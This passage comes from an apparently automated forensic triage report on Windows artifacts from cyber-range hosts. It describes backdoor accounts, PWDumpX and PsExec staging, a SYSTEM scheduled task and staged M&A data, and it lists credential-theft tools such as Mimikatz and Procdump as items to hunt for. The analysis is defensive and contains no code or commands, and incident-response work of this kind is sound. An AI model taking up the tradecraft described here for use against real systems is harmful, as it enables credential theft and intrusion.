  • Evidence: last_modified 2018-08-15T17:10:31.142492+00:00, path C:\Windows\Autorunsc.exe, row_ref 243.
  • Why it matters: Autorunsc.exe is frequently used by threat actors to enumerate persistence mechanisms; placement in C:\Windows is non-standard and may indicate manual copy by an intruder or incident responder.
  • Alternative explanation: A system administrator may have copied the tool to C:\Windows for convenience during authorized troubleshooting or hardening.
  • Verify: Confirm execution via Prefetch/Amcache; compare hash to known Sysinternals release; search Sysmon/ETW or command-line logs for autorunsc.exe execution arguments.
  • [SEVERITY: LOW] [CONFIDENCE: MEDIUM] Sysmon installation artifacts with identical timestamps in two system locations and an associated batch script.
  • Evidence: last_modified 2018-08-07T18:15:55.851475+00:00, path C:\Windows\sysmon64.exe, row_ref 150; last_modified 2018-08-07T17:55:45.498444+00:00, path C:\windows\Install_Sysmon.bat, row_ref 279. Note that C:\ProgramData\sysmon\sysmon64.exe (row_ref 88) shares the identical microsecond timestamp, suggesting a copy operation.
  • Why it matters: The matching high-precision timestamp on both sysmon64.exe instances indicates a file copy during installation; this marks a potentially unlogged change in system monitoring configuration during the investigation window.
  • Alternative explanation: Likely legitimate enterprise deployment of Sysmon for endpoint monitoring.
  • Verify: Recover Install_Sysmon.bat content from file system; validate sysmon64.exe hash against official Sysinternals release; review Application/Setup event logs for installation time and user context.

IOC Status

No explicit IOC patterns were provided in the investigation context.

Data Gaps

  • Shimcache records file presence, not execution: cannot confirm any binary actually ran without corroboration from Prefetch, Amcache, UserAssist, or EvtX.
  • Deduplication removed 892 records (duplicate event data with different timestamps/IDs); fine-grained temporal sequencing of repeated file observations was lost.
  • Artifact time range ends 2018-08-23; if the suspected compromise occurred after this date, no evidence will be present in this Shimcache snapshot.
  • No command-line arguments, parent process, or user context is captured in Shimcache, preventing determination of how tools like wsmprovhost.exe, powershell.exe, schtasks.exe, or wevtutil.exe were invoked.
  • No cryptographic hashes or signature data are present; cannot verify if files like C:\487085abfd036853a6\Setup.exe or C:\Windows\sysmon64.exe are legitimate or renamed attacker tools.
  • Known attacker tools commonly associated with credential access (e.g., Mimikatz, PsExec, Procdump) and lateral movement were not observed in this artifact; absence does not rule out their use if they were deleted or never triggered Shimcache population.
  • Suspicious accounts/logons are not assessable from Shimcache; corroboration requires EvtX Security/Logon events or registry-based account analysis.
Amcache (amcache) UNSPECIFIED
Record Count 785
Time Range Start 2018-08-08T07:50:21.215202
Time Range End 2018-09-06T07:44:22.235746

Findings

No suspicious executables, credential-access tooling, persistence mechanisms, or anomalous program inventory entries were identified in this Amcache dataset.

IOC Status

No explicit IOC targets were provided in the investigation context.

Data Gaps

  • Missing temporal correlation for file entries. The executable and driver records (rows 1–400 and 439–694) contain no install_date values, so they cannot be correlated with the suspected incident window (2018-08-08 to 2018-09-06). Only high-level program installer records (rows 401–428) include dates.
  • No execution confirmation. Amcache captures file inventory, not execution events, command lines, or parent processes. Correlation with Prefetch and Shimcache is required to confirm whether any .NET utilities (e.g., Microsoft.Workflow.Compiler.exe, csc.exe, MavInject32.exe) or other LOLBINs were actually launched.
  • Incomplete publisher metadata. Numerous binaries have empty publisher/version/product fields (e.g., row 111 GoogleUpdateComRegisterShell64.exe, row 255 ncpa_listener.exe, row 282 OSPPREARM.EXE, and multiple VMware helpers), which limits trust validation and hash-to-binary attribution.
  • No credential-access or lateral-movement tools observed. No Mimikatz, ProcDump, PsExec, or other known attacker utilities were inventoried; however, this artifact alone cannot rule out their use if they were memory-only, deleted, or run from unmonitored locations.
  • Limited account context. Start Menu shortcuts indicate an active user profile for nfury (rows 701+), but Amcache provides no logon, authentication, or process-launch data to assess account compromise or misuse.
  • Absent defensive artifacts. There are no signs of log clearing or hive tampering, but there are also no recent install dates for most PE files, meaning the artifact cannot establish what binaries first appeared during the incident window.
UserAssist (userassist) MEDIUM
Record Count 163
Time Range Start 1601-01-01T00:00:00
Time Range End 2018-09-04T21:53:42.071999

Findings

  • [SEVERITY: MEDIUM] [CONFIDENCE: MEDIUM] Built-in Administrator account interactively launched command prompt (cmd.exe) from the Explorer shell with sustained focus duration and multiple focus events.
  • Evidence: 2018-05-14T04:19:12.545000+00:00, path {1AC14E77-02E7-4E5D-B744-2EB1AE5198B7}\cmd.exe, number_of_executions=4, application_focus_count=16, application_focus_duration=702116 ms, username=administrator, row_ref=123; associated Command Prompt shortcut at row_ref=145 (same timestamp block).
  • Why it matters: Interactive administrative command-line sessions can indicate manual attacker activity, post-lateral-movement execution, or on-host privilege escalation.
  • Alternative explanation: Legitimate system administrator performing maintenance or troubleshooting.
  • Verify: Correlate with Security logon events (4624/4672), Sysmon or Windows Event ID 4688 process creation logs, and any command-line history (ConsoleHost_history.txt, PowerShell transcripts) around 2018-05-14 04:19 UTC for the administrator account.

IOC Status

No explicit IOC patterns were provided in the investigation context; nothing to assess.

Data Gaps

  • UserAssist records only Explorer-driven GUI launches; it will not capture command-line, service, scheduled-task, or WMI-based execution commonly used in intrusions.
  • 39 entries (e.g., row_refs 11, 14, 17, 125, 132) carry the placeholder timestamp 1601-01-01T00:00:00+00:00, so their last execution time cannot be determined.
  • No credential-access tools (e.g., Mimikatz), script hosts (e.g., wscript, cscript, powershell), or known remote-administration utilities were observed as executed via the GUI shell across any profile; their absence here does not rule out their use via other vectors.
  • Whether the Administrator cmd.exe session was malicious or legitimate cannot be determined without correlating against Security event logs, Prefetch, or terminal-history artifacts.
  • The host’s local timezone is unknown, preventing assessment of whether the 04:19 UTC administrator activity occurred during off-hours.
Recycle Bin (recyclebin) HIGH
Record Count 37
Time Range Start 2018-05-03T19:15:37.140999
Time Range End 2018-08-07T22:12:38.598000

Findings

  • [SEVERITY: CRITICAL] [CONFIDENCE: HIGH] Suspicious executable SystemInit-dev.exe deleted from the local built-in Administrator desktop, consistent with attacker tool staging or payload cleanup.
  • Evidence: row_ref 1, ts 2018-05-03T19:15:37.140999+00:00, original path C:\Users\Administrator\Desktop\SystemInit-dev.exe, deleted path \c:\$recycle.bin\S-1-5-21-2524419689-3338315622-2821878207-500\$RN7334I.exe, filesize 30.4 MB. The SID ends in RID 500, confirming the local built-in Administrator account (distinct from the domain user SIDs observed elsewhere in the dataset); the username field is empty for this record.
  • Why it matters: A 30.4 MB executable with a system-masquerading name placed directly on the local Administrator desktop and subsequently deleted is highly indicative of malicious tool deployment, potential execution, and post-activity evidence removal.
  • Alternative explanation: A legitimate system administration utility or developer binary was temporarily placed on the desktop and later discarded; however, the naming convention, location, and use of the local Administrator account are atypical for authorized software deployment.
  • Verify: Recover the deleted file from $Recycle.Bin\$RN7334I.exe for hash/reputation analysis; correlate with Security EVTX logon events around 2018-05-03T19:15:37Z for local Administrator (SID ending -500); query Prefetch, Amcache, and SRUM for execution evidence of SystemInit-dev.exe.

Data Gaps

  • File content unavailable: The Recycle Bin metadata does not include a hash, signature, or any content from SystemInit-dev.exe; malicious intent cannot be confirmed without recovering and analyzing the actual deleted file.
  • Missing execution context: Creation and execution timestamps for SystemInit-dev.exe are absent. The deletion time alone does not establish when the file first appeared, how long it was present (dwell time), or whether it was executed.
  • Unknown deletion session: The username field for row_ref 1 is empty, so the logon session or interactive user context that performed the deletion cannot be determined from this artifact.
  • Coverage gaps: The dataset spans May through August 2018 with only 37 records. There is no assurance that the Recycle Bin is intact or that other deletions (e.g., manual Recycle Bin emptying, permanent shifts with Shift+Delete) did not occur outside this window.
  • Correlation data absent: Defender alerts, Windows Security event logs, and execution artifacts (Prefetch, ShimCache, AMCache) from 2018-05-03 are not included in this artifact, preventing confirmation of execution, detection, or lateral movement tied to this binary.
Browser History (browser.history) UNSPECIFIED
Record Count 301
Time Range Start 2018-05-11T22:14:29.737000
Time Range End 2018-09-04T21:55:42.737291

No suspicious browser history indicative of compromise, credential harvesting, malicious tool acquisition, or attacker reconnaissance was observed in the nfury profile across Chrome, Firefox, or Internet Explorer.

Data Gaps

  • Browser history is not an execution log. This artifact records requested URLs but not HTTP responses, rendered content, file downloads, or spawned processes; whether any visited page delivered an exploit or payload cannot be determined (e.g., rows 386–404 access Orocobre investor PDFs, but subsequent execution is unverified).
  • IE timestamp cluster anomaly. On 2018-09-04 at ~21:53:58 UTC, Internet Explorer history shows ~30 distinct destinations (SharePoint, Twitter, carbonengineering.com, Bing, etc.) with timestamps separated by milliseconds (rows 3–55). This pattern is inconsistent with interactive browsing and likely reflects a parsing artifact, session restore, or database sync timestamp, making those individual access times unreliable.
  • Single-user visibility. All 301 records belong to username nfury; activity of other local or domain accounts on BASE-WKSTN-05 is absent from this artifact.
  • No network-layer corroboration. Without DNS, proxy, or firewall logs, it is not assessable whether visited domains resolved to unexpected IPs or if connections were redirected to malicious infrastructure.
  • Credential usage ambiguity. Access to twitter.com/login and projects.srl-sharepoint.com (rows 315–328 and 9–35) does not reveal whether authentication was performed by the legitimate user or an adversary controlling the session.
  • DFIR scope limitation. Privilege escalation, credential access tooling (e.g., Mimikatz-like activity), persistence, defense evasion, lateral movement, and exfiltration cannot be confirmed or ruled out using browser history alone; they require Windows Event Logs, Prefetch, registry run keys, service listings, and process telemetry.
Browser Downloads (browser.downloads) HIGH
Record Count 59
Time Range Start 2018-07-20T14:03:40.804016
Time Range End 2018-08-31T21:05:29.557423

Findings

  • [SEVERITY: CRITICAL] [CONFIDENCE: HIGH] Download of a suspiciously named executable from an unrecognized domain consistent with masquerading malware.
  • Evidence: row_ref 59, ts_start 2018-08-31T18:35:58.988279+00:00, browser chrome, username nfury, local path C:\Users\nfury\Downloads\perfmonsvc64.exe, URL https://www.technicalbird.com/setup/perfmonsvc64.exe, size 10.50 KB, state complete.
  • Why it matters: The filename mimics the legitimate Windows Performance Monitor service (perfmon), the source domain is not a known software vendor, and the 10.50 KB size is implausibly small for a genuine system utility, indicating likely malware or a persistence implant.
  • Alternative explanation: An obscure, lightweight third-party legitimate utility with an unfortunate name similarity.
  • Verify: Confirm file on disk, hash and submit for analysis, check execution artifacts (Prefetch, Amcache, Sysmon EID 1, Windows Event 4688), and review network telemetry around the download time.
  • [SEVERITY: MEDIUM] [CONFIDENCE: LOW] Bulk retrieval of internal confidential and financial documents from SharePoint hours after the suspicious executable download.
  • Evidence: row_ref 6 (ts_end 2018-08-31T21:04:47.246155+00:00, CONFIDENTIAL - Project Mayhem.pptx), row_ref 15 (ts_end 2018-08-31T21:03:09.934021+00:00, Project_800724_WireTransferInfo.docx), and rows 1-23 collectively (ts_end range 2018-08-31T21:00:09.835012+00:00 to 2018-08-31T21:05:29.557423+00:00), all via iexplore from projects.srl-sharepoint.com to C:\Users\nfury\Documents\sp\.
  • Why it matters: The concentrated timing and nature of the files (wire transfer info, confidential presentations) could represent data staging for exfiltration, especially occurring the same evening as the suspicious executable download.
  • Alternative explanation: Authorized user nfury performing legitimate project file synchronization or offline work.
  • Verify: Correlate with Windows Security Logon events to confirm interactive session, review upload/browser-upload artifacts, and inspect for exfiltration indicators (network uploads, USB device connections, cloud sync logs).

Data Gaps

  • 23 Internet Explorer download records (rows 1-23) lack ts_start, size, and state values, preventing precise start-time correlation and integrity verification.
  • This artifact only records browser-based file ingress; it does not reveal whether perfmonsvc64.exe was actually executed (requires Prefetch, Amcache, SRUM, or process telemetry) or whether it achieved persistence.
  • No browser history or referrer data is present, so the navigation chain that led to technicalbird.com cannot be reconstructed.
  • Credential access, privilege escalation, lateral movement, and exfiltration cannot be assessed from browser downloads alone; require Windows Event Logs (4624/4625/4688), LSASS/memory dumps, network flow data, and endpoint process telemetry.
  • Account compromise of user nfury cannot be confirmed or ruled out without authentication logs showing source IP, logon type, and any anomalous logon patterns.
Automatic Jump Lists (jumplist.automatic_destination) UNSPECIFIED
Record Count 20
Time Range Start 2016-07-22T19:22:20.264999
Time Range End 2018-08-31T21:05:17.324999

Findings

No suspicious activity detected in this artifact.

Data Gaps

  • Sparse coverage limits behavioral insight. Only 20 automatic destination entries exist across four profiles (nfury, rsydow-a, administrator, range_admin), which may reflect minimal interactive logons, retention limits, or cleared history, but cannot confirm any of those causes.
  • No credential-access, execution, or lateral-movement tooling observed. This artifact contains no Jump List entries for script interpreters, archive utilities, remote administration tools, browsers hitting staging paths, or known credential-access binaries. Jump Lists only record recent items for participating applications, so their absence here does not rule out such activity.
  • Privileged accounts show only default library entries. The administrator (rows 17–18, 2018-05-07) and range_admin (rows 19–20, 2016-07-22) profiles contain only standard Windows library links, yielding no visibility into other files or applications they may have accessed.
  • Significant timeline fragmentation. Activity clusters are separated by months to years (range_admin in 2016; administrator in May 2018; rsydow-a in August 2018; nfury in August 2018). This artifact cannot explain activity during the intervening periods.
  • Missing DestList granularity. The data does not include DestList entry order, pin status, or per-item access counts, which would help distinguish routine recent-item updates from anomalous prioritization or rapid navigation patterns.
  • Requires cross-artifact correlation. Assessment of execution, persistence, and lateral movement depends on correlating these paths with Prefetch, Amcache/ShimCache, SRUM, Windows Event Logs (SMB sessions, logon events), MFT/USN, and browser/download history.
Custom Jump Lists (jumplist.custom_destination) UNSPECIFIED
Record Count 44
Time Range Start 2016-07-22T19:22:19.968864
Time Range End 2018-08-31T21:05:45.080915

Nothing suspicious was detected in the Custom Jump Lists data.

Data Gaps

  • Limited Jump List type: Only CustomDestinations records are present; AutomaticDestinations and their MRU/MFU DestList metadata are absent, removing visibility into execution recency/frequency and ordered user activity.
  • Empty contextual fields: lnk_workdir, lnk_net_name, lnk_device_name, and common_path_suffix are empty across all 44 records, so working directories, network shares, and removable media origins cannot be assessed.
  • Incomplete application resolution: The AppID 5afe4de1b92fc382 (associated with GettingStarted.exe entries) resolves to no application_name, forcing manual interpretation and slowing triage.
  • Interaction, not execution: CustomDestinations indicate user/application interaction but do not prove a binary executed or a file was accessed; correlation with Prefetch, Amcache, SRUM, UserAssist, browser history, and MFT/USN is required.
  • Undefined incident window: The records span 2016-07-22 to 2018-08-31, but without a known compromise timeframe, recency of entries (e.g., nfury’s August 2018 browser activity or the range_admin July 2016 profile) cannot be weighted for risk.
  • No tampering indicators, but baseline unknown: No obvious gaps, backdated timestamps, or missing AppIDs suggest artifact deletion; however, absence of jump list data for other users/applications cannot be distinguished from legitimate baselines without additional host context.
Shellbags (shellbags) HIGH
Record Count 107
Time Range Start 2009-07-14T02:36:56
Time Range End 2018-08-31T21:07:45.102077

Findings

  • [SEVERITY: HIGH] [CONFIDENCE: HIGH] User nfury browsed a user folder named “Asgard” on the DMZ FTP server via Explorer, with the same folder simultaneously reflected under a mapped Z: drive at an identical timestamp.
  • Evidence: Row 6 (Network\<USERS_PROPERTY_VIEW {999534523}>\dmz-ftp\srl-ftp\Users\nfury\Asgard, ts_mtime 2018-08-07T16:20:14+00:00); Row 157 (My Computer\Z:\Users\nfury\Asgard, ts_mtime 2018-08-07T16:20:14+00:00); Row 168 (Network\<USERS_PROPERTY_VIEW {999534523}>\dmz-ftp\srl-ftp\Users\Nfury\Asgard, ts_mtime 2018-08-07T16:20:14+00:00); Row 4 (Network\...\dmz-ftp\srl-ftp\Users, ts_mtime 2018-08-06T20:21:50+00:00); Row 166 (Network\...\dmz-ftp\srl-ftp\Users\Nfury, ts_mtime 2018-08-06T20:21:44+00:00).
  • Why it matters: Direct Explorer access from an internal workstation to an internet-facing DMZ FTP server user share is a significant lateral-movement and data-staging indicator in a suspected network compromise, especially when the share is mounted as a persistent drive letter.
  • Alternative explanation: nfury is an administrator legitimately managing files on the DMZ FTP server.
  • Verify: Inspect Windows Security Event Logs (Event ID 4624/4648) and SMB session logs for nfury authenticating to \\dmz-ftp on 2018-08-06/07; check the user registry hive (MountPoints2) for evidence of a Z: drive mapping.
  • [SEVERITY: MEDIUM] [CONFIDENCE: HIGH] User nfury browsed a network share folder named “SysInternals” on the base-file server.
  • Evidence: Row 9 (Network\<USERS_PROPERTY_VIEW {999534523}>\base-file\installers\SysInternals, ts_mtime 2018-08-07T16:58:14+00:00).
  • Why it matters: SysInternals utilities are dual-use tools frequently abused for credential access, lateral movement, and defense evasion; accessing this share shortly after DMZ FTP contact may indicate attacker tool acquisition.
  • Alternative explanation: IT staff retrieving legitimate administrative tools from an internal software repository.
  • Verify: Cross-reference with Prefetch, ShimCache, and AmCache to determine whether any SysInternals executables were copied to or executed on BASE-WKSTN-05 around this time.
  • [SEVERITY: MEDIUM] [CONFIDENCE: MEDIUM] The administrator account browsed network shares on both the base-file server and a non-local host at 10.10.254.1.
  • Evidence: Row 17 (Network\<USERS_PROPERTY_VIEW {999534523}>\base-file\shieldbase-share, username administrator, no ts_mtime); Row 193 (Network\<USERS_PROPERTY_VIEW {999534523}>\10.10.254.1\share, username administrator, no ts_mtime).
  • Why it matters: Privileged account enumeration of remote shares by IP address is consistent with reconnaissance or lateral movement across the internal network.
  • Alternative explanation: Domain administrator performing legitimate remote system administration or GPO/software deployment.
  • Verify: Review authentication and SMB logs for administrator logons to 10.10.254.1 and base-file; correlate with scheduled maintenance or patch-management windows.
  • [SEVERITY: MEDIUM] [CONFIDENCE: MEDIUM] User nfury browsed sensitive system directories including System Volume Information and C:\Windows\Temp.
  • Evidence: Row 125 (My Computer\C:\System Volume Information, ts_mtime 2018-08-08T15:48:16+00:00); Row 123 (My Computer\C:\Windows\Temp, ts_mtime 2018-08-31T20:56:38+00:00); Row 121 (My Computer\C:\Windows\System32, ts_mtime 2018-08-30T05:23:42+00:00).
  • Why it matters: System Volume Information is not normally accessible to standard users via Explorer; browsing it may indicate an attempt to access shadow copies or concealed data, while Windows\Temp is a common malware staging directory.
  • Alternative explanation: System utilities, backup software, or disk-management tools opened these paths legitimately.
  • Verify: Correlate with the MFT/USN Journal and Windows Event Logs to identify file creation, modification, or deletion events in these directories at the corresponding times.

Data Gaps

  • ts_atime and ts_btime are entirely empty across all 107 records, eliminating the ability to assess first or last access times independently.
  • Many structural entries (ROOT_FOLDER, NETWORK, USERS_PROPERTY_VIEW) lack ts_mtime, preventing precise temporal placement of initial network navigation—most notably the administrator’s access to base-file\shieldbase-share and 10.10.254.1\share.
  • Shellbags record only Explorer folder views, not individual file access, command-line/SMB activity, or process execution; this artifact alone cannot confirm data exfiltration, malware execution, or credential access.
  • The deduplication process removed 89 records, potentially collapsing repeated accesses into single entries and obscuring the true frequency of folder visits.
  • No logon session ID, source IP, or authentication metadata is present, so activity cannot be attributed to an interactive console session versus a remote network session, nor can compromised-credential use be distinguished from legitimate user behavior.
  • ts_mtime values reflect shellbag entry updates rather than the exact instant of folder access, introducing potential lag between user action and recorded timestamp.
SAM Users (sam) MEDIUM
Record Count 3
Time Range Start 2018-05-03T19:15:03.023211
Time Range End 2018-05-07T19:08:36.537645

Findings

  • [SEVERITY: HIGH] [CONFIDENCE: MEDIUM] Non-default local account range_admin (RID 1006) is enabled and has never recorded a local login.
  • Evidence: row_ref 3, username range_admin, rid 1006, flags 528 (identical to the enabled Administrator account), lastlogin 1601-01-01T00:00:00+00:00, logins 0, lastpasswordset 2018-08-29T03:06:27.696980+00:00, ts 2018-05-03T19:15:03.023211+00:00.
  • Why it matters: An enabled local account with an administrative name and zero login history is consistent with a dormant backdoor created for persistent access.
  • Alternative explanation: May be a legitimate account provisioned for cyber range/lab administration (consistent with the shieldbase.lan domain naming convention).
  • Verify: Confirm local group membership (especially Administrators) via the SAM Groups artifact; correlate with Security Event Log IDs 4720/4732 around 2018-05-03; validate with system owners.
  • [SEVERITY: MEDIUM] [CONFIDENCE: MEDIUM] Administrator and range_admin passwords were changed within 26 seconds of each other.
  • Evidence: row_ref 1 (Administrator), lastpasswordset 2018-08-29T03:06:01.943583+00:00; row_ref 3 (range_admin), lastpasswordset 2018-08-29T03:06:27.696980+00:00.
  • Why it matters: Near-simultaneous password resets on privileged accounts can indicate automated attacker tooling or credential takeover.
  • Alternative explanation: A legitimate administrator may have run a bulk password rotation script.
  • Verify: Examine Security EVTX for Event ID 4724 around 2018-08-29 ~03:06 UTC to identify the subject user and calling process.

Data Gaps

  • Group memberships absent: This artifact does not include group membership data, so it cannot be determined whether range_admin belongs to the local Administrators group. SAM Groups or Security EVTX Event ID 4732 is required.
  • Duplicate records removed: Three rows were deduplicated based on variants in ts, lastlogin, lastpasswordset, and lastincorrectlogin; the retained record may not reflect the most recent account state.
  • Timestamp semantics unclear: The ts values (May 2018) pre-date the lastpasswordset values (August 2018) for all accounts. If ts represents registry last-write or extraction time, the August password changes should have updated it. This ambiguity complicates timeline analysis.
  • No corroborating event logs: Windows Security logs (EVTX) are not provided, preventing validation of account creation, password resets, or group changes via native event auditing.
Network History (network_history) UNSPECIFIED
Record Count 1
Time Range Start 2018-05-07T19:07:37.000077
Time Range End 2018-05-07T19:07:37.000077

Nothing suspicious is present in this artifact; the sole observed network profile is the expected corporate domain shieldbase.lan (row_ref 1, created 2018-05-07T15:07:37.000077-04:00, last_connected 2018-08-30T01:14:58.000081-04:00).

Data Gaps

  • Single profile, no visibility into deleted or alternate connections. This artifact contains only one network profile (row_ref 1: profile_name/description/dns_suffix all shieldbase.lan). It is impossible to determine whether the host exclusively used this network or whether other profiles (e.g., public Wi-Fi, VPN, hotspots, rogue SSIDs) were connected and subsequently deleted or renamed to obscure movement.
  • Stale time range leaves incident window uncovered. The only timestamps present are a creation time of 2018-05-07 and a last-connected time of 2018-08-30. There is no network profile data for the years between August 2018 and the current analysis date (2026), so post-2018 connectivity—whether benign, attacker-related, or indicative of lateral movement—cannot be assessed from this artifact.
  • No user, session, or traffic attribution. The record does not identify which user or process initiated the connection, nor does it prove active data transfer. Correlation with SRUM, WLAN AutoConfig event logs (Event ID 8001/8002/6100), DHCP lease logs, or VPN client logs is required to establish who connected and what occurred during the session.
  • Deduplication reduced raw visibility. One additional record was removed as a timestamp/ID-only duplicate (_dedup_comment on row_ref 1). While the retained values appear identical, this confirms the artifact parser encountered redundant entries, slightly limiting full visibility into the raw registry dataset.
dmz-ftp-cdrive

Image Summary

Executive Summary

The DMZ-FTP host exhibits conclusive evidence of active compromise between April and September 2018. A threat actor used local Administrator and rsydow sessions to manipulate the edge pfSense firewall, export VPN credentials, create suspicious local backdoor accounts (nfury, dblake), stage sensitive “M&A Targets” data inside the FTP root, and deploy credential-theft and remote-execution tooling (PWDumpX, PsExec). Persistence was achieved through a malicious SYSTEM-level scheduled task and multiple non-standard binaries. The totality of cross-artifact findings indicates a targeted intrusion with collection, lateral-movement preparation, and anti-forensic cleanup. Confidence: HIGH | Severity: CRITICAL

---

Timeline

Timestamp (UTC)Source ArtifactWhat HappenedConfidence
2018-04-10T19:29:50ShimcacheUnrecognized binary subject_srv.exe placed in C:\Windows.MEDIUM
2018-04-26 ~19:20–20:15Browser HistoryAdministrator performed pfSense admin actions: deleted team_admin user, installed OpenVPN client-export package, modified firewall rules, and exported a VPN profile for braavos.simspace.com:1196 (rows 61, 31, 35, 62, 29).HIGH
2018-04-26T20:15:40Recycle BinAdministrator rapidly deleted three VPN-related files from Downloads within a 16-millisecond window (rows 1–3).HIGH
2018-05-22T02:13–02:18Browser DownloadsAdministrator downloaded nxlog-ce-2.10.2102.msi and nxlog.conf from hex-named directories on internal host 10.10.10.10 (rows 4, 6).HIGH
2018-05-25T15:26:08Network HistoryTransient secondary network profile “Network 2” connected for ~6 seconds with an unknown gateway MAC (row 2).MEDIUM
2018-07-16T22:27SAM UsersLocal accounts ftpadmin and rsydow-a created (rows 4, 13).MEDIUM
2018-08-06T18:08 / 18:17SAM UsersMarvel-themed local accounts nfury (Nick Fury) and dblake (Donald Blake - Asgard) created 9 minutes apart (rows 6, 7).HIGH
2018-08-06T20:21Shellbagsrsydow manually created a staging directory tree under C:\srl-ftp (Uses [typo], Users, Nfury, Asgard), coincident with Recycle Bin activity (rows 15–21, 80).HIGH
2018-08-07T15:09Scheduled TasksUpdate_Sysmon_Rules task created to run C:\ProgramData\sysmon\Auto_Update.bat as SYSTEM with HighestAvailable privileges (rows 11, 12).HIGH
2018-08-07T22:27Automatic Jump Lists / ShellbagsM&A Targets.zip created/accessed in C:\srl-ftp\Users\nfury\Asgard (Jump Lists row 16; Shellbags rows 20–21).HIGH
2018-09-04T18:20Amcache / ShimcachePWDumpX.exe dropped in C:\Windows\Temp\perfmon\ (Amcache row 306; Shimcache row 58).HIGH
2018-09-04T18:25Browser Historyrsydow opened file:///C:/srl-ftp/Users/nfury/Asgard/M&A%20Targets.zip (row 2).HIGH
2018-09-04T18:31Amcache / ShimcachePsExec.exe dropped in the same C:\Windows\Temp\perfmon\ directory (Amcache row 377; Shimcache row 47).HIGH
2018-09-04T22:51Shimcache / ServicesPSEXESVC.exe service binary created on disk and installed as the PSEXESVC service (Shimcache row 46; Services row 228).HIGH
2018-09-04T22:54UserAssistrsydow began a sustained ~59-minute interactive cmd.exe session (row 9).HIGH

---

Attack Narrative

Initial Access (Inferred, HIGH confidence): On 2018-04-26, the built-in Administrator account on this DMZ host was used to administer the adjacent pfSense firewall, deleting an existing admin (team_admin), installing an OpenVPN export package, and generating a VPN profile for braavos.simspace.com:1196. The near-instantaneous deletion of the resulting VPN configuration files from the Recycle Bin is consistent with cleanup after establishing a persistent remote-access channel. Whether the attacker compromised the Administrator account or operated via another vector onto this host first is not directly observable.

Persistence (Confirmed, HIGH confidence): Multiple persistence mechanisms were established:

  • On 2018-08-07, a scheduled task named Update_Sysmon_Rules was registered by rsydow to execute C:\ProgramData\sysmon\Auto_Update.bat with SYSTEM privileges (Tasks rows 11–12).
  • On 2018-08-06, two Marvel-themed local accounts—nfury and dblake—were created minutes apart, strongly suggesting attacker-provisioned backdoors (SAM rows 6–7).
  • The unrecognized binary subject_srv.exe resided in C:\Windows since 2018-04-10 (Shimcache row 28).

Privilege Escalation / Credential Access (Confirmed, HIGH confidence): On 2018-09-04, the known credential-dumping tool PWDumpX.exe was placed in a concealed C:\Windows\Temp\perfmon\ directory (Amcache row 306; Shimcache row 58). Its co-location with PsExec indicates the attacker extracted local password hashes to enable lateral movement.

Execution / Lateral Movement (Confirmed, HIGH confidence): PsExec was staged in the same hidden directory at 18:31 on 2018-09-04 (Amcache row 377; Shimcache row 47). By 22:51, the PsExec service (PSEXESVC) was installed and its binary written to C:\Windows\PSEXESVC.exe (Services row 228; Shimcache row 46). rsydow executed PsExec.exe (UserAssist row 27) and maintained an approximately 59-minute interactive cmd.exe session that evening (UserAssist row 9), consistent with remote command execution or lateral-movement staging.

Collection / Staging (Confirmed, HIGH confidence): The attacker manually created a nested path under the FTP root—C:\srl-ftp\Users\Nfury\Asgard—and placed M&A Targets.zip there on 2018-08-07 (Shellbags rows 15–21; Jump Lists row 16). rsydow later opened the archive via browser and Explorer (Browser History row 2; Jump Lists row 16). A copy of 7za.exe was also staged in C:\ProgramData\staging\ (Amcache row 500), suggesting data was compressed in preparation for exfiltration.

Defense Evasion (Confirmed, MEDIUM–HIGH confidence): The attacker repeatedly inspected IIS FTP logs and nxlog configuration files across both Administrator and rsydow sessions (Jump Lists rows 1–9, 15; Browser History rows 11, 16–18), behavior consistent with verifying whether malicious activity was being logged. The 16-millisecond cluster-deletion of VPN artifacts on 2018-04-26 further supports anti-forensic cleanup (Recycle Bin rows 1–3).

---

Gaps and Unknowns

  • Missing Windows Security/System EVTX logs. This prevents confirmation of logon sources (Event ID 4624), process creation (4688), service creation (7045), account creation (4720), and group membership changes (4732) that are needed to conclusively attribute activity to a specific actor or source IP.
  • Ambiguous account provenance. It is unconfirmed whether rsydow, rsydow-a, and the Administrator actions represent a compromised legitimate operator, an insider threat, or purely attacker-controlled sessions. No HR or AD provisioning context was provided.
  • Unknown script contents. C:\ProgramData\sysmon\Auto_Update.bat was not recovered; its payload and exact persistence behavior remain unverified.
  • No direct exfiltration evidence. While M&A Targets.zip was staged and 7za.exe was present, network logs, proxy data, or FTP transfer logs showing actual outbound data movement were not available.
  • Eight-year evidentiary gap. The latest artifact timestamp is 2018-09-04. Whether the host was subsequently rebuilt, retired, or cleaned is unknown.
  • Anti-forensic indicators unconfirmed. Although log-review behavior and rapid file deletion are suggestive, there is no direct evidence of Event Log clearing (e.g., Event ID 1102) or timestomping because the requisite EVTX and MFT/USN artifacts are absent.
  • Scope of lateral movement. PsExec and PWDumpX imply lateral movement, but no artifacts identify the remote targets accessed from this host.

---

Recommended Next Steps

Immediate Containment

  1. Isolate the host from all networks if it is still online; it contains backdoor accounts, credential-dumping tools, and known malicious persistence.
  2. Disable or delete suspicious local accounts (nfury, dblake, rsydow-a, ftpadmin) and force password resets for any remaining privileged accounts (rsydow, Administrator).
  3. Remove known persistence: Delete the Update_Sysmon_Rules scheduled task and the PSEXESVC service; quarantine subject_srv.exe.

Investigation

  1. Acquire and analyze Windows Security/System/TerminalServices EVTX logs for Event IDs 4624, 4634, 4648, 4688, 4698, 4702, 4720, 4732, and 7045 around the timeline dates above to identify source IPs, creating subjects, and executed command lines.
  2. Recover deleted Recycle Bin files ($R*/$I* streams) for the 2018-04-26 VPN deletions to inspect OpenVPN server addresses, certificates, and credentials.
  3. Hash and submit PWDumpX.exe, PsExec.exe, PSEXESVC.exe, subject_srv.exe, and 7za.exe to threat-intelligence platforms; preserve copies for reverse engineering.
  4. Inspect on-disk contents of C:\ProgramData\sysmon\Auto_Update.bat, C:\ProgramData\staging\, and C:\Windows\Temp\perfmon\ for additional payloads or output files.
  5. **Correlate with pfSense and host 10.10.10.10** logs to validate the firewall compromise and determine the purpose of the hex-named directories (3e7d0d94, a2a2ceab).
  6. Review volume shadow copies created by the ShadowCopyVolume scheduled task (Tasks row 8–9, 250) for extracted SAM/SECURITY hives or other attacker-staged data.
  7. Cross-host correlation: Scan the Domain Controller, RDS hosts, and workstations for the same PsExec/PWDumpX hashes, rsydow logon events, and the Update_Sysmon_Rules task name to identify lateral-movement targets.

Per-Artifact Findings

Run/RunOnce Keys (runkeys) UNSPECIFIED
Record Count 1
Time Range Start 2018-01-12T14:55:22.962978
Time Range End 2018-01-12T14:55:22.962978

